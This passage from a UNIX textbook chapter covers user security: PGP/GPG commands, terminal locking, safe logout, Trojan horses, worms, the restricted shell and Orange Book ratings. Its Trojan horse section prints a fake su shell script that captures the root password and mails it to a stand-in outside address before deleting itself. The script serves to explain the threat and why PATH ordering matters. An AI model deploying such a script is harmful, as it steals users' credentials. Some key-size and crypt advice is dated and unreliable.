This will produce a file memo.pgp, which is an encrypted version of memo.txt, encrypted using Alice’s public key Note that memo.pgp will be a binary file, so if you intend to use e-mail to send this file as text, you should also convert the encrypted file to ASCII. This can be done automatically using the -a option. For example,

$ pgp -ea memo.txt Alice

encrypts the file memo.txt using Alice’s public key and converts the file into ASCII.

PGP also provides the -t option, used to ensure that text messages sent via e-mail to different types of systems have the appropriate line endings. (This is necessary, since on UNIX systems lines end with a line feed, on Macintosh systems lines end with a carriage return, and on Windows systems lines end with a carriage return and a line feed.) For example, to send the e-mail message message.txt to Alice, you should use

$ pgp -eat message.txt Alice

Secure Signatures

You can use the -s option to automatically attach a signature to your message. This signature is encrypted using the same key that you use as your secret decrypting key For example, you can use the command

$ pgp -sea memo.txt Alice

to send an encrypted version of the file memo.txt, encrypted with Alice’s public key and with a signature attached encrypted with your secret key, all converted into ASCII. When you enter this command, PGP will prompt you for your pass phrase. This is necessary, since your secret key must be accessed to produce your signature.

Decrypting Files

When you receive a file from someone else that was encrypted using your public key, you can decrypt it using a command of the form

$ pgp file

For PGP to decrypt this file, it needs to know your secret key. You will be asked by PGP for your pass phrase for your secret key PGP will attempt to decrypt the message using your key and will verify the secure signature of the sender, if the message has been signed, using the public key of the sender.

Advanced PGP Features

There is an extensive community of people who use PGP on a regular basis. We have only briefly introduced PGP here. If you intend to become a regular user of PGP, you will want to set up a PGP configuration file. You will also want to learn how to certify the validity of keys and of signatures. You will also want to learn how to revoke keys. And you will want to learn about levels of trust and how these are handled with PGP. For coverage of these and related topics, consult the references on PGP listed at the end of this chapter.

GNU Privacy Guard (GPG)

The GNU Privacy Guard (GPG), which can be freely used, modified, and distributed under the GNU General Public License, is a widely used implementation of the OpenPGP standard. GPG is bundled with many Linux distributions and it is supported for use on Mac OS X, Free BSD, Open BSD, and NetBSD. It also compiles and runs on many other UNIX systems, including Solaris, HP-UX, AIX, and Unixware.

People in the United States can download GPG from the GNU Privacy Guard home page at It is not allowed for people outside the United States to download GPG from servers in the United States. Users in other countries can download the GNU Privacy Guard from We will give a brief introduction to the use of GPG. For more information about PGP and explanation about how to use its features, see the GNU Privacy Handbook at

Generating a Key Pair

To create a key pair in GPG, you use the command

$ gpg --gen-key

When you run this command, GPG asks you to choose the cryptographic algorithms used to create your keys. You should choose the default option (DSA and El Gamal) so that you encrypt files as well as sign them. When prompted to select a key size, you should select the default, 1024 bits, unless your computer has performance problems, in which case you might want to select 768 bits. Next, you specify how long you want your keys to remain valid in days, weeks, months, or years. Expect for users with demanding security needs, most users select the option that specifies that keys do not expire. Otherwise, you can specify the length of time for which keys remain valid.

Next, you specify your name, e-mail address, and comments (which may be anything), and a pass phrase. GPG uses this data to create the user ID of the key pair. Note that each key pair includes a public key that can be shared with the outside world and a private key that remains on your system.

Exchanging Keys

You need to exchange public keys with other people to use GPG to communicate with them securely To send your public key to someone else, you need to export it. For instance, to export the key of the user, so that it is encoded as ASCII text, with the resulting file containing the ASCII encoding of the key called steve.key, you use the command

$ gpg --armour --export -o steve.key

To use the public key of another user, you need to import it, unless it is already on your key ring, which contains all the public keys immediately available for use on your system. For example, the command

$ gpg -import linda.key

imports the key linda.key to your key ring.

To see all the keys available on your key ring, use the command

$ gpg --list-keys

Encrypting and Decrypting with GPG

To use GPG to encrypt a document, you use the -encrypt option. Of course, to encrypt a document so that your intended recipient can decrypt it, you must have the public key of your intended recipient. You need to provide the name of the file you wish to encrypt; otherwise, the standard input in encrypted. The encrypted file is sent to file specified using the --output option or is sent to standard output. GPG also compresses the file for additional security, besides encrypting it. For example, to encrypt the file report using the public key, putting the encrypted output in report.grp, use the command

$ gpg --output report.gpg --encrypt --recipient report

Here, the --recipient option specifies the recipient and the public key used to encrypt the file. The encrypted file can only be decrypted using the private key corresponding to the recipient’s public key.

To decrypt a message, you use the --decrypt option. You must have the private key corresponding to the public key used to encrypt the message. As with GPG encryption, the input is the document to decrypt and output is the original file. For example, decrypts the file report.doc using the command

$ gpg --output report --decrypt report.gpg

When he enters this command, he is prompted to enter his pass phrase. After he enters his pass phrase, the file is decrypted.

Signing Documents and Verifying Signatures

GPG can be used to digitally sign files. A digital signature can be used to certify that a file was sent by a particular person at a particular time. GPG uses a different key pair for creating and verifying signatures than it does for encryption and decryption.

The command-line option --sign is used for digital signatures, with the file to sign provided as input. The signed document is the output. For example, the command

$ gpg --output report.sig --sign report

can be used to sign the file report, putting the output, the signed file, in report.sig. When this command is run, the user has to enter the pass phrase to digitally sign the file using the private key of the key pair used for digital signatures. Note that GPG compresses the file before signing it. The output is a binary file.

When you receive a signed document, you can either just check the signature or both check the signature and decrypt the original document. You use the --verify option to check the validity of the signature, you use the --decrypt option to both verify the signature and decrypt the document. For example, the command

$ gpg --output report --decrypt report.sig

tells us whether this document has a valid signature, and if valid, when it was signed; it will place the decrypted version of the file report.sig in the file report.

Console Locking

Perhaps the most common security lapse is when computer users leave their consoles unattended while they are logged in. When you walk away from your console, anyone can sit at your desk and continue your session. A benign intruder may play a harmless trick on you, such as changing your prompt to something strange, such as “What Do You Want?” But a malicious intruder could change your .profile so that you are immediately logged off after you log in. Or worse, this intruder may erase all your files.

One way to avoid this problem is to log out every time you leave your console. This can be inconvenient, especially if you have multiple windows open on your system, because you have to close each one to log out, and because you have to log in every time you return to your console. If you are using CDE or KDE, you can configure your screensaver so that it activates a relatively short period of time during which no input is entered and so that the screensaver is deactivated only after you enter your password. Alternatively, if you are using any graphical user interface on the X Window System, you can use the xlock to lock your system. To add xlock to your system, you need to add the xlockmore package, which can be obtained at Note that this package is included with many Linux distributions.

If you use your system in text input mode, you can use a terminal locking program that locks, or temporarily disables, your terminal. Several different add-on programs of this type are available for terminals, including tlock or vlock. These programs lock your keyboard and blank out your screen. When you run tlock, it prompts you for a password. Once you enter your password and match it by entering it again at a second prompt, it locks your terminal. To unlock the terminal, you have to enter the password again. On most systems, tlock is written to disregard BREAK, DELETE, CTRL-D, or other disruptions. The tlockprogram can be obtained at The vlock program is included with many Linux distributions.

Logging Off Safely

You should log out properly so that another user cannot continue your session. If you turn off your terminal or hang up your phone when you have a dial-up connection, the system may not be able to disconnect you and kill your shell before another user is connected to the same port. This new user may be connected to the shell session you thought you were terminating. If you are using a hard-wired terminal, you may not be logged off even if you turn off the terminal.

You should log out using either exit or CTRL-D. When the system responds with


you know that your session has been properly terminated.

Trojan Horses

A Trojan horse is a program that masquerades as another program or, in addition to doing what the genuine program does, performs some other unintended action. Often a Trojan horse masquerades as a commonly used program, such as ls. When a Trojan horse runs, it may send files to the intruder or simply change or erase files.

An example of a Trojan horse has been provided by Morris and Gramp in their article listed at the end of this chapter. Their example is a Trojan horse that masquerades as the su command. The shell script for the Trojan horse is placed in the file su in a directory in the path of the user. The shell script for this Trojan horse is given here:

stty -echo #turn character echoing off

echo "Password: \c" #echo "Password:"

read X #assign input string to variable X

echo "" #begin new line

stty echo #turn character echo back on

echo $1 $X | mail outside!creep & #send logname and value of X to outside!creep

sleep 1 #wait 1 second

echo Sorry. #echo "Sorry."

rm su #remove the shell script for this program

Suppose that the PATH variable for this user is set so that the current directory precedes the directory containing the genuine su command. The following session takes place when the user runs the sucommand.

$ su

Password: ab2cof1 {entered password is not displayed}


$ su

Password: ab2cof1 {entered password is not displayed}

This session starts with the user typing su, thinking this will run the superuser su command. Instead, the Trojan horse su command runs. The user enters the root password (which is not echoed back). The Trojan horse su command sends the logname and the password to outside!creep, compromising the user’s security The bogus su command removes itself after mailing the password. The user sees su fail and infers that the password has been mistyped. Then when the user runs su again, the genuine su program runs and the user can log in as superuser after entering the correct password.

This example shows that you may be vulnerable to a Trojan horse if the shell searches the current directory before searching system directories. Suppose you find this:

$ echo $PATH


With this value for PATH, the current directory (represented by the empty field before the first colon) is the first directory searched by the shell when a command is entered.

On the other hand, if the path is set up this way,

$ echo $PATH


the current directory is searched last by the shell when a command is entered.

Consequently, to avoid this type of Trojan horse, set your PATH variable with the empty field last, so that the current directory is searched last after system directories have been searched.

Viruses and Worms

Computer viruses and worms are relatively new types of attacks on systems. There is a strong analogy between a biological virus and a computer virus. A computer virus is code that inserts itself into other programs; these programs are said to be infected. Computer viruses cannot run by themselves. A virus may cause an infected program to carry out some unintended actions that may or may not be harmful. For instance, a virus may cause a message to be displayed on the screen, or it may wipe out files. One action a computer virus may do is have the infected program make copies of the virus and infect other programs and machines.

A worm is a computer program that can spread working versions of itself to other machines. A worm may be able to run independently, or it may run under the control of a master program on a remote machine. Worms are typically spread from machine to machine using electronic mail or other networking programs. Some worms have been used for constructive purposes, such as performing the same task on different machines in a network. Worms may or may not have damaging effects. They may use large amounts of processing time or be destructive. Worms often cause damage by writing over memory locations used for other programs.

The most famous worm was the Internet Worm that caused widespread panic on the Internet in November 1988. The programs used by the worm were written by a computer science graduate student. (The worm attacked computers running the BSD System and the SunOS from certain manufacturers.) These programs were sent to other computers using the sendmail command for electronic mail. The sendmailcommand, part of the BSD System, had several notorious loopholes that made the worm possible. In particular, the worm used sendmail code designed for debugging, which permitted a mail message to be sent to a running program, with input to the program coming from the message. The worm also took advantage of weaknesses in the implementation of the finger daemon on VAX computers from DEC, as well as security weaknesses of the remote execution system, including the rsh command. The security holes exploited by this 1988 virus were closed in all UNIX variants shortly after this attack. This is an example of how security in UNIX (and other systems) advances. Whenever security holes are found, an attempt is made to close them, resulting in new security features.

Security Guidelines for Users

You may find the following set of guidelines useful for checking whether your login and your resources are secure:

§ Choose a good password and protect it from other users. Do not use any strings formed from names or words that other people could guess easily, such as your first name followed by a digit, or any word in an English dictionary Do not tape a piece of paper with your password written on it anywhere near your terminal. Change your password regularly, especially if your system does not force you to do this.

§ Encrypt sensitive files with an encryption algorithm providing the appropriate level of security. Encrypt all files that contain information you do not want even your system administrator to read. If your files are not extremely sensitive, but you want to afford them a moderate degree of protection, encrypt them the basic encryption facilities available on your system, for example, by using the cryptcommand, letting crypt prompt you for your key, or by using your editor with the -x option. Be sure to remember the key you use to encrypt a file, because you will not be able to recover your file otherwise. This makes your files difficult to read, but not totally invulnerable, because a persistent intruder can use a program that performs cryptanalysis to recover your original files. For extremely sensitive files, use a special-purpose encryption program such as PGP (or GPG) or use one of the ccrypt or mcrypt commands. This makes your encrypted files highly resistant to attack. Also, make sure to encrypt files and e-mail messages that you want to keep secure. You can use PGP to do this.

§ Protect your files by setting permissions carefully. Set your umask (described in Chapter 3) as conservatively as is appropriate. Reset the permissions on files you copy or move, using cp and mv, respectively, to the permissions you want. Make sure the only directory you have that is writable by users other than those in your group is your rje (remote job entry) directory, which should remain writable by everyone, since it is sometimes used to send you the output of programs you run.

§ Protect your .profile. Set the permissions on your .profile so that you are the only user with write permission and so that other users, not in your group, cannot read it. If other users can modify your .profile, they can change it to obtain access to your resources. Users who can read your .profile can find the directories where your commands are by looking at the value of your PATH variable. They could then possibly change these commands.

§ Be extremely careful with any suid or sgid program that you own. If you have any suid or sgid programs, make sure they do not include any commands that allow shell escapes. Also, make sure they follow security guidelines for suid and sgid programs.

§ Never leave your terminal unattended when you are logged on. Either log out whenever you leave the room, or use a terminal-locking program.

§ Impede Trojan horses. Make sure your PATH variable is set so that system directories are searched before current directories.

§ Beware of viruses and worms. Avoid viruses and worms by not running programs given to you by others. If you run programs from other users that you trust, make sure they did not get these programs from questionable sources.

§ Monitor your last login time. Check the last login time the system displays for you to make sure no one used your account without your knowing it.

§ Log out properly. Use either exit or CTRL-D to log out. This prevents another user from continuing your session.

The Restricted Shell (rsh)

Some versions of UNIX include a special shell, the restricted shell, that provides restricted capabilities. Although the restricted shell provides only a limited degree of security, it can prevent users who should only have access to specific programs from damaging the system. For instance, a bank clerk should only have access to programs used for particular banking functions, a text processor should only have access to certain text processing programs, and an order entry clerk should only have access to programs for entering orders.

System administrators can prevent these users from using other programs by assigning the restricted shell, rsh, as their start-up program. This is done by placing /bin/rsh as the entry in the last field of this user’s entry in the system’s /etc/passwd file. The restricted shell can also be invoked by providing the sh command with the -r option. (Note that the restricted shell rsh is different from the command rsh, which is the remote shell command that is included with the Internet Utilities package discussed in Chapter 9.)

The following restrictions are placed on users running the restricted shell rsh:

§ Users cannot move from their home directory, because the cd command is disabled.

§ Users cannot change the value of the PATH variable, so that they can only run commands in the PATH given to them by the system administrator.

§ Users cannot change the value of the SHELL variable.

§ Users cannot run commands in directories other than in their PATH, because they cannot use a command name containing a slash (/).

§ Users cannot redirect output using > or >>.

§ Users cannot use exec commands.

These restrictions are enforced after the user’s .profile has been executed. (Unfortunately, a quick user can interrupt the execution of .profile and get the standard shell.) The system administrator sets up this user’s .profile, changes the owner of this file to root, and changes its permissions so that no one else can write to it. The administrator defines the user’s PATH in this .profile so that the user can only run commands in a specified directory, which is often called /usr/rbin.

The restricted shell uses the same program as the standard shell sh does, but running it restricts the capabilities allowed to the user invoking it.

The restricted shell rsh provides only limited security. Skilled users can easily break out of it and obtain access to an unrestricted shell. However, the restricted shell can prevent naive users from damaging their resources or the system.

Levels of Operating System Security

The following is a discussion of an optional topic, which is somewhat more sophisticated than the previous material.

As you have seen, UNIX provides a variety of security features. These include user identification and authentication through login names and passwords, discretionary access control through permissions, file encryption capabilities, and audit features, such as the last login record. However, general-purpose UNIX Systems do not provide for the level of security required for sensitive applications, such as those found in governmental and military applications.

The U.S. Department of Defense has produced standards for different levels of computer system security These standards have been published in the Trusted Computer System Evaluation Criteria document. The Trusted Computer System Evaluation Criteria is commonly known as the “Orange Book,” because of its bright orange cover. Computer systems are submitted by vendors to the National Computer Security Center (NCSC) for evaluation and rating.

There are seven levels of computer security described in the “Orange Book.” These levels are organized into four groups-A, B, C, and D-of decreasing security requirements. Within each division, there are one or more levels of security, labeled with numbers. From the highest level of security to the lowest, these levels are A1, B3, B2, B1, C2, C1, and D. All the security requirements for a lower level also hold for all higher levels, so that every security requirement for a B1 system is also a requirement for a B2, B3, or A1 system as well.

Minimal Protection (Class D)

Systems with a Class D rating have minimal protection features. A system does not have to pass any tests to be rated as a Class D system. If you read news stories about hackers breaking into “government computers,” they are likely to be class D systems, which contain no sensitive military data.

Discretionary Security Protection (Class C1)

For a system to have a C1 level, it must provide a separation of users from data. Discretionary controls need to be available to allow a user to limit access to data. Users must be identified and authenticated.

Controlled Access Protection (Class C2)

For a system to have a C2 level, a user must be able to protect data so that it is available to only single users. An audit trail that tracks access and attempted access to objects, such as files, must be kept. C2 security also requires that no data be available as the residue of a process, so that the data generated by the process in temporary memory or registers is erased.

Labeled Security Protection (Class B1)

Systems at the B1 level of security must have mandatory access control capabilities. In particular, the subjects and objects that are controlled must be individually labeled with a security level. Labels must include both hierarchical security levels, such as “unclassified,” “secret,” and “top secret,” and categories (such as group or team names). Discretionary access control must also be present.

Structured Protection (Class B2)

For a system to meet the B2 level of security, there must be a formal security model. Covert channels, which are channels not normally used for communications but that can be used to transmit data, must be constrained. There must be a verifiable top-level design, and testing must confirm that this design has been implemented. A security officer must be designated who implements access control policies, while the usual system administrator only carries out functions required for the operation of the system.

Security Domains (Class B3)

The security of systems at B3 level must be based on a complete and conceptually simple model. There must be a convincing argument, but not a formal proof, that the system implements the design. The capability of specifying access protection for each object, and specifying allowed subjects, the access allowed for each, and disallowed subjects must be included. A reference monitor, which takes users’ access requests and allows or disallows access on the basis of access control policies, must be implemented. The system must be highly resistant to penetration, and the security must be tamperproof. An auditing facility must be provided that can detect potential security violations.

Verified Design (Class A1)

The capabilities of a Class A1 system are identical to those of a Class B3 system. However, the formal model for a Class A1 system must be formally verified as secure.

The Level of UNIX Security

Most UNIX variants (including those based on SVR4) meet most and all of the security requirements of the C2 Class. Enhanced versions of UNIX System V Release 4 have been developed that meet the requirements for different levels of operating system security An example of a version of UNIX System V that has been enhanced to meet the requirements of the B1 class is UNIX System V/MLS (Multi-Level Security).


This chapter introduced UNIX security from a user’s perspective. You were introduced to set user ID and set group ID permissions and how they are used, and you were introduced to setuid programs. You learned about access code lists and role-based access control. You saw how /etc/passwd and /etc/shadow files work, and how HP-UX handles passwords. You were shown how to use UNIX utilities for file encryption, and you learned about the relative security of encryption using these utilities. You also learned about PGP and GPG and how to use them to send secure e-mail and how to sign messages.

Other security concerns, such as Trojan horses, viruses, worms, unattended terminals, and logout procedures, were described. You were offered a checklist of security concerns for users and a brief description of the restricted shell, when it is used, and its limitations. Finally, you read about levels of operating system security and how this applies to UNIX.

Chapter 13 discusses security from a system administrator’s point of view. Chapter 17 discusses security for networking, including TCP/IP networking and mail.

How to Find Out More

Useful general references on UNIX System security include

· Barrett, D.J., Silverman, R.E., and Curry, D.A. Linux Security Cookbook. Sebastapol, CA: O’Reilly & Associates, 2003.

· Curry, D.A. UNIX System Security, A Guide for Users and System Administrators. Reading, MA: Addison-Wesley, 1992.

· Garfinkel, S., G. Spafford, and A. Schwartz. Practical UNIX and Internet Security. 3rd ed. Sebastopol, CA: O’Reilly & Associates, 2003.

· Loza, B. UNIX, Solaris, and Linux: A Practical Security Cookbook. Bloomington, IN: Authorhouse, 2005.

· Reeds, J.A., and P.J. Weinberger. “The UNIX System: File Security and the UNIX System Crypt Command.” AT&T Bell Laboratories Technical Journal, vol. 53, no. 8 (October 1984): 1673–1683.

· Ross, Seth. Unix System Security Tools. New York: McGraw-Hill, 1999.

Useful information about security in HP-UX can be found in

§ Shah, Jay. HP-UX System and Administration Guide. New York: McGraw-Hill, 1997.

There are several useful books about PGP, including

· Garfinkel, Simson. PGP; Pretty Good Privacy. Sebastopol, CA: O’Reilly & Associates, 1995.

· Stallings, William. Protect Your Privacy, the PGP User’s Guide. Englewood Cliffs, NJ: Prentice Hall, 1995.

· Zimmermann, Philip. The Official PGP User’s Guide. Cambridge, MA: MIT Press, 1995.

This is a useful article about writing setuid programs:

· Bishop, Matt. “How to Write a Setuid Program.” :login;, vol. 12, no. 1 (January/February 1987): 5–11.

You can find out about the Internet Worm, including details about how it worked, by consulting these references:

§ Eichin, Mark W., and Jon A. Rochlis. “With Microscope and Tweezers: An Analysis of the Internet Virus of November, 1988.” 1989 IEEE Computer Society Symposium on Security and Privacy.Washington, DC: Computer Society Press, 1989, 326–343.

§ Spafford, Eugene H. “The Internet Worm Program: An Analysis.” ACM SIGCOM, vol. 19 (January 1989).

There are a number of useful web sites related to UNIX security. For example, the site provides many useful links to sites related to computer security, including UNIX security. The UNIX Computer Security site at provides many useful tips on different aspects of UNIX System security. Another useful site is the UNIX Security site at

To ensure that your UNIX systems are configured to ensure high security, you can use benchmarks available from the Center for InternetSecurity (CIS). You can use CIS Scoring Tools to verify the security configuration of systems and monitor these systems for compliance with these configurations. The Scoring Tools generate reports that users and system administrators can use to security vulnerabilities. CIS Benchmarks and Scoring Tools are available for Mac OS X, Solaris, HP-UX, AIX, and FreeBSD, as well as for the Red Hat, SUSE, and Slackware Linux distributions. To find out more about the CIS Benchmarks and the Scoring Tools, go to

You may also find the following USENET newsgroups helpful:


§ alt.secruity.gpg